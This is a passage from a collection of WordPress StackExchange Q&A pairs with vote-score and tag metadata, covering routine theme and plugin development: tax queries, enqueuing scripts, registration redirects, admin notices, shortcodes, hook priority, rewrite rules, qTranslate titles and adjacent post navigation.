'meta_key' => 'event_date',
'orderby' => 'meta_value_num',
'order' => $order,
'meta_value' => $yesterday,
'meta_compare' => $compare,
if ( is_null($cat) )
'tax_query' => array(
array(
'taxonomy' => 'event_type',
'field' => 'slug',
'terms' => $cat,
'operator' => 'IN'
),
)
);
I'm confused, what do I pass in order to get all posts from all terms? Right now I can for instance pass `sports` in order to get all sports-events, but how do I get all events? I know I could just get rid of the `tax_query()` however I'm using this as a param, where I can pass along a certain tax or if not, i want all posts. | Simply omit (or not add) `tax_query` part of arguments.
$args = array(
'post_type' => 'wr_event',
'posts_per_page' => -1,
'meta_key' => 'event_date',
'orderby' => 'meta_value_num',
'order' => $order,
'meta_value' => $yesterday,
'meta_compare' => $compare,
);
if ( ! is_null($cat) )
$args['tax_query'] =array(
array(
'taxonomy' => 'event_type',
'field' => 'slug',
'terms' => $cat,
'operator' => 'IN'
),
); | stackexchange-wordpress | {
"answer_score": 6,
"question_score": 2,
"tags": "taxonomy, terms, tax query"
} |
Execute Jquery when a specific page in my plugin is loading
I am building a plugin and I would like to be able to hide the wordpress admin side menu and top bar when a specific page is shown(or menu item clicked)?
Should I call the jquery directly as a script on the plugin page's code, or is there a way I can execute the jquery when the page is loading, or menu item is clicked from a hooked function with ajax or something similar? Here is the jquery I wan't to run:
$("#wpadminbar, #adminmenuwrap").hide(); | You'll need to get the screen id on the screen (or page) in question using get_current_screen()
get_current_screen()->id
Then, hook into it with the following:
function my_script_function() {
if ( strpos( get_current_screen()->id, 'screen_id' ) !== false ) {
wp_enqueue_script( 'my_javascript_handle', 'path/to/my/script.js', 'jquery', '1.0' );
}
}
add_action( 'admin_enqueue_scripts', 'my_script_function' );
This will enqueue your script properly in the WordPress system along with jQuery core (just in case it isn't already there).
< has a good overview of using jQuery in WordPress. Please note that by default though you can't use _$_ to call jQuery as it is in safe mode (the article will show you how to change it from having to use _jQuery_. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "php, plugin development, functions, jquery, ajax"
} |
How to redirect new WordPress user to previous page after registering
When a user registers for a WordPress site, they are redirected to the login page after completing the registration form. Is there a way to redirect them to the previous page before filling out the registration form?
Please note that I'm not looking for a custom/static page because the user will be coming from various pages and that's the page I want them to return to - not the same page for every case. Thanks! | There's a `registration_redirect` filter you can use:
add_filter( 'registration_redirect', 'wpse_129618_registration_redirect' );
function wpse_129618_registration_redirect( $redirect ) {
if( isset( $_SERVER['HTTP_REFERER'] ) && 0 != strlen( $_SERVER['HTTP_REFERER'] ) ) {
$redirect = esc_url( $_SERVER['HTTP_REFERER'] );
}
return $redirect;
}
Alternately, you can edit the PHP that is generating your `<form>` and add a hidden field named `redirect_to`, using the current page's address (ie, `$_SERVER['PHP_SELF']`).
### References
* `registration_redirect` on wpseek.com | in source
* `esc_url()` | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 1,
"tags": "forms, user registration"
} |
Add information above a custom post type listing of all posts page
Ok, that sounds like a rather confusing title, let me explain.
I have created a custom post type (CPT) and I want to add some summary information about the posts of that post type above their listing (where the filter and bulk action buttons are), the page in question would be:
Is there a hook for this ? Since I don’t really know what to call this area, i am not finding anything doing any further searches. | You can use the `admin_notices` action for that:
function wpa_admin_notice() {
$screen = get_current_screen();
if( 'your_post_type' == $screen->post_type
&& 'edit' == $screen->base ){
?>
<div class="updated">
<p>Here is some text</p>
</div>
<?php
}
}
add_action( 'admin_notices', 'wpa_admin_notice' );
Change `your_post_type` to whatever your custom post type slug is. Also see `get_current_screen` for more info on that function. | stackexchange-wordpress | {
"answer_score": 4,
"question_score": 2,
"tags": "custom post types, hooks"
} |
Wordpress network vs Separate installs
I am contemplating hosting all my client sites on one wordpress network. So far I've been installing a new wordpress installation for every site. Is it a good idea (compared to standalone installation) to have all sites hosted in one network in terms of scalability? | No real difference either way, really. Network installs make the most sense when you want all the sites to share a single set of users. But the basic table handling is pretty much the same either way. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "multisite, performance, optimization"
} |
if is_bbPress register jquery
i use this code to deregister jquery from wp_head():
<?php if ( !is_admin() ) wp_deregister_script('jquery'); wp_head(); ?>
i want jquery just added when user on bbpress page, but it's not working:
<?php
if (is_bbPress()) {wp_register_script('jquery'); wp_head();}
else (!is_admin()) {wp_deregister_script('jquery'); wp_head();}
?>
can somebody help me fix this please | Completely out of any context (since it's really not specified in the question), the correct method to _enqueue jQuery only in the context of bbPress_ is to add an appropriate conditional inside of a callback, hooked into `wp_enqueue_scripts`. For example, the following would be defined in `functions.php` (i.e. _not_ in a template or template-part file):
function wpse129696_enqueue_scripts() {
// Only enqueue jQuery in the context of bbPress
if ( is_bbpress() ) {
wp_enqueue_script( 'jquery' );
}
}
add_action( 'wp_enqueue_scripts', 'wpse129696_enqueue_scripts' ); | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "php, customization"
} |
How to show an image via shortcode
Can anyone tell me,how to show an image via shortcode.I mean when I use my shortcode,an image will displayed.(shortcode example: [smile] and image location mytemplate directory/images/smile.png)Sorry for my week english. | This is basic function to create a shortcodes.
Put this code in your functions.php
function smile_shortcode() {
$output = get_template_directory_uri() . '/images/smile.png'; // put your smile image here
$_image = '<img src="' . $output . '">';
return $_image;
}
add_shortcode('smile','smile_shortcode');
Then go to your dashboard and post editor. Remember to put `[smile]` in your post.
More: < | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "shortcode"
} |
Is there a way to create a meta box that can be added multiple times to a post dynamically?
This shouldn't be that difficult (I wouldn't think) ... I just want to have a section of my theme (directors) that has the name of the director / their bio in the title and post respectively (done).
_But_ , I would also like to have a meta-box on their post for their work (title / client / date / video link / thumb ) and I would like to be able to **add** or **remove** instances of this meta box as needed ... i.e. director A) has 3 videos ... director B) has 5 videos.
How do I create a meta box (or is there something else in WP) that can be dynamically added / removed (like the way the menu system works) where I have a menu and I can add as many or as few items to the menu as i want / need. | WPAlchemy are also useful, that could be customizable depend on your desire, But as Matthias Lehming said, Advanced customer fields are also good and quick staff to use. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "posts, theme development, customization, metabox"
} |
get current page number with wp_link_pages()
I would like to get only the current page number (without HTML).
I'm using
wp_link_pages( array ( 'pagelink' => '%' ) );
How can I do that?
I'm also using this code in my theme:
function single_split_page($defaults) {
$args = array(
'before' => '<div class="single-split-page"><p>' . __('<strong>Pages</strong>','theasd'),
'after' => '</p></div>',
'pagelink' => '%',
);
$r = wp_parse_args($args, $defaults);
return $r;
} | `wp_link_pages` depends on four `global`s\-- `$page`, `$numpages`, `$multipage`, and `$more`.
I cannot test this right now, but if I remember correctly `$page` is the current page and `$numpages` is the total number of pages. All you should need is:
global $page;
echo $page; | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "plugins, posts, codex"
} |
Content hooks vs User hooks
This is more of a theory question than a question with a direct answer.
I've been working with different actions for firing functions when a post is updated or deleted and when users are updated or deleted. For the actions, `publish_post` and `before_delete_post` for the posts and `personal_options_update`, `edit_user_profile_update` and `delete_user` for the users.
With post update you get access to the values that are currently set and the values the new values at the same time to make any changes you see fit before anything happens. With user update you only have access to the new information and only after it's already been set.
**Is there a reason for this difference or is this just inconsistent?**
...and don't get me started on publish_{custom_post_type} vs before_delete_post. | It depends on what exact action you are using, and what the purpose of that action is.
For the update actions, for example, there should always be hooks that are triggered **before doing the change** (so that you may change or prevent it), and hooks that are triggered **after the change has been completed** (so that you can react to changes).
In your "user" case, if you want to compare the existing vs the changed user, you want to hook into the `user_profile_update_errors` action. This action gives you an object that shows you what the intended changes are, and whether there's already an existing user. In that case, you can retrieve the existing user through its ID and compare them both.
See: < | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 5,
"tags": "post meta, actions, user meta"
} |
What happens when two or more plugins use the same hook?
Two of my plugins use the same filter hook: `the_content`. What happens in this case? Is there a priority handler, like which plugin will be served first?
I would like to use both of the plugins. I need to call one plugin first and then the second plugin will add more content onto the end of the first plugin.
What is the best approach to accomplish this? Or am I doing something wrong here? | There is priority as explained in the codex:
add_filter ( 'hook_name', 'your_filter', [priority], [accepted_args] );
Lower numbers are executed first, the default is 10.
If you have multiple functions at the same priority, they are run in the order in which they were added to the filter. | stackexchange-wordpress | {
"answer_score": 4,
"question_score": 0,
"tags": "plugin development, hooks, the content"
} |
Custom rewrite rule for backend/admin?
I would like to create a custom rewrite rule that will take the URL:
`
but display
`
Is there any way to do this? I am trying to add the rewrite rule so in my theme's `functions.php`
add_action( 'init', 'add_custom_rules' );
function add_custom_rules() {
add_rewrite_rule(
"^submit-project/add",
"/wp/wp-admin/post-new.php?post_type=project",
"top");
}
I've tried flushing the rules, but this always seems to enter some kind of loop always going back to the 'login' page.
**Edit**
1. The URL is actually just 404-ing now
2. I should add that I do have a page with the slug `submit-project` and thus the URL: ` in case it matters.
3. I've installed the plugin Rewrite Rules Inspector and can't seem to find my rule in there. | In general, it is possible, but you need to define `ADMIN_COOKIE_PATH` in your `wp-config.php` to the value `/` which might cause security issues.
First of all define this rewrite rules in your .htaccess right before the rewrite rule of wordpress:
# Make sure, there is a trailing slash
RewriteRule ^submit-project/add$ submit-project/add/ [R=301,L]
# mask the urls
RewriteRule ^submit-project/add/$ /wp/wp-admin/post-new.php [L,QSA]
RewriteRule ^submit-project/add/post.php?$ /wp/wp-admin/post.php [L,QSA]
# this is the wordpress rule:
RewriteRule . /index.php [L]
Now you need to define the constant in the `wp-config.php`
define( 'ADMIN_COOKIE_PATH', '/' );
I recommend not to use this on a productive site. Consider to offer a special input formular in the frontend using shortcodes or something less invasive than the shown example. | stackexchange-wordpress | {
"answer_score": 5,
"question_score": 2,
"tags": "url rewriting, wp admin, rewrite rules"
} |
Link to blogg-page
Im trying out wordpress and wondering of from the theme i have installed. Im not using the blog as the start page. How do i add a link to the menu that shows the blog with posts in order of date? | 1. Create a page, call it "Blog"
2. _Settings->Reading..._ select your new "Blog" page in the drop down next "Posts page"
3. In _Appearance->Menus_ find your main menu.
1. On the left, open up the "Pages" panel
2. Find your page named Blog
3. Check it and click "Add to Menu
4. Save the menu
5. Profit | stackexchange-wordpress | {
"answer_score": 1,
"question_score": -1,
"tags": "links, blog"
} |
Wordpress changing single quotes to double quotes in title and content
My wordpress site has this annoying problem: it converts the single quotes (e.g. it's) into double quotes (it"s) and it looks bad.
For example, look at the title of this post. I have searched long and hard about this.
I have read about php.ini and the magic quotes parameter, but it is already off on my server (and everything other that has to do with magic quotes)
I have commented the `wp_magic_quotes()`; line on wp-settings.php but it changed nothing.
I have found some 6+ years old posts on wordpress forums that reference plugins that don't exist anymore and changes on wordpress files that also don't exist.
Any suggestions will be greatly appreciated. | Add this code your `functions.php`
Reference : Issue with double dash
remove_filter( 'the_title' , 'wptexturize' );
remove_filter( 'the_content' , 'wptexturize' );
remove_filter( 'the_excerpt' , 'wptexturize' );
remove_filter( 'comment_text' , 'wptexturize' );
remove_filter( 'list_cats' , 'wptexturize' ); | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "php"
} |
I copied my site to another site but all links point to old site
I copied my site: www.old_site.com
to a new address: www.new_site.com
All links in new_site point to the old site.
What do I have to change so that new site points to new site? Thank you. | What web addresses are in your Dashboard > Settings > general? if it is the old site, try changing it, if changing is impossible, try putting the following code at the top op wp-config.php:
define('WP_HOME','
define('WP_SITEURL','
Are the site urls correct? Try searching your page template and see if you have still some old links in there. You can replace the old url from links from the old site with by :
`<?php bloginfo('siteurl'); ?>` | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 1,
"tags": "permalinks, links"
} |
Custom Post Conditional for Parent & Child Single.php?
Following on from previous question but needs to be more specific so thought a new topic would be best...
Conditional tag for custom post parent and children on their corresponding single.php, currently i have the following..
<?php if ( is_home() || is_page( 'overview' ) || is_page( 'about' ) ) : ?>
Home Page
<?php elseif ( 'artists' == get_post_type() ): ?>
artist parent
<?php elseif ( $post->post_parent > 0 ): ?>
artist child
<?php else : ?>
empty other pages etc
<?php endif; ?>
The issue being the parent shows up on all the single-artists.php pages.
I need to specifically target the parent single and the child single, is it possible as i don’t think it is...?
Thank you. | I guess that you should change the order to first check if there is any parent:
<?php if ( is_home() || is_page( 'overview' ) || is_page( 'about' ) ) : ?>
Home Page
<?php elseif ( $post->post_parent > 0 ): ?>
artist child
<?php elseif ( 'artists' == get_post_type() ): ?>
artist parent
<?php else : ?>
empty other pages etc | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 1,
"tags": "custom post types, conditional tags"
} |
Recent Posts titles not working with Qtranslate
I am using a WordPress 3.8 installation with qtranslate, and everything is working except for the recent posts titles. Qtranslate displays the titles with all languages after each other. Like: _English title German title French title_
The code I am using to display a list with recent post titles is:
<?php
$recent_posts = wp_get_recent_posts();
foreach( $recent_posts as $recent ){
echo '<li class="lastposts"><a href="' . get_permalink($recent["ID"]) . '" title="'.esc_attr($recent["post_title"]).'" >' . $recent["post_title"].'</a> </li> ';
}
?>
I have googled for this problem and it seems like Qtranslate does not work with `post_title`. How can I make it work? | Qtranslate works probably with a filter on `the_title`. So you have to use functions that make use of that filter, not the raw post title.
Example, not tested:
foreach( $recent_posts as $recent ) {
printf(
'<li class="lastposts"><a href="%1$s" title="%2$s" >%3$s</a></li>',
get_permalink( $recent["ID"] ),
the_title_attribute(
array (
'post' => $recent["ID"],
'echo' => FALSE
)
),
get_the_title( $recent["ID"] )
);
} | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "plugin qtranslate"
} |
previous_posts_link and next_posts_link, how to return the next/previous post's title as the url
The site I am working on needs to have the returned url set a specific way. That being said, all posts are basically images that are posted, with there titles being said as the page urls. How do I go about getting the returned url from next_posts_link() and previous_posts_link to be returned as mysite.com/posttitle ?
At this point I have two divs wrapped with divs and spans. located within the loop
<div class="back-nav">
<span class="button-nav-previous">
<?php previous_posts_link( '',0); ?>
</span>
</div>
currently this is returning mysite/title/page/2. | The functions you are using refer to the next or prev paginated set of posts, not a single post, hence the format they are in. Try using `get_adjacent_post()` instead.
<?php
$prev = get_adjacent_post(false, '', true)
$next = get_adjacent_post(false, '', false)
//use an if to check if anything was returned and if it has, display a link
if($prev){
$url = get_permalink($prev->ID);
echo '<a href="' . $url . '" title="' . $prev->post_title . '">Previous Post</a>';
}
if($next) {
$url = get_permalink($next->ID);
echo '<a href="' . $url . '" title="' . $next->post_title . '">Next Post</a>';
}
?>
You can read more about `get_adjacent_posts()` here.
This should be noted that the get_adjacent_post() function is intended to be used on a single detail page. If you are using this on a posts page it may behave unexpectedly. | stackexchange-wordpress | {
"answer_score": 4,
"question_score": 0,
"tags": "urls, title, next post link, previous post link"
} |
Filter to change the content of 404 page
I have created custom rewrite rules. These rules now go to 404 page as expected. I can use action hook `template_redirect` to change the template matching `query_var`.
But I don't want to create separate template files as the page structure depend on the current theme in use. Rather I just want to change the content and title. I have tried change the content using `the_content` filter, but it seems the filter doesn't even get called for 404 page.
I also tried loading `index.php` template and then using `the_content` filter, but it also doesn't work.
Is there any way to achieve this? | It seems it is not possible from Wordpress point of view as @Milo pointed out
> There is no content to change on a 404 page, I suggest a different approach where you provide an option to designate an actual page as the target for these virtual pages.
So, I had to change my plan. From the plugin admin, I kept an option to integrate a page as handler for all the request and sending different content matching query variables. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 3,
"tags": "plugin development, templates, url rewriting, 404 error, the content"
} |
Replacing the List table of a Post Type
Is there a way to replace the WP_List_Table object of a post type to display said post type differently on the Admin edit.php page? | No, you cannot replace the list table. There is no filter, everything is hard-coded.
But you can change the post type _registration_ , set `show_ui` to `FALSE` to prevent the built-in page, and add a custom page for the post type listing to show the editable items.
add_action( 'wp_loaded', function(){
register_post_type(
'test',
array(
'labels' => array(
'name' => 'TEST'
),
'public' => TRUE,
'show_ui' => FALSE
)
);
});
add_action( 'admin_menu', function(){
add_object_page(
'TEST',
'TEST',
'edit_test',
'test',
function(){
echo 'test'; // list post type items here
}
);
});
Result
!screen shot | stackexchange-wordpress | {
"answer_score": 5,
"question_score": 3,
"tags": "admin, wp list table"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.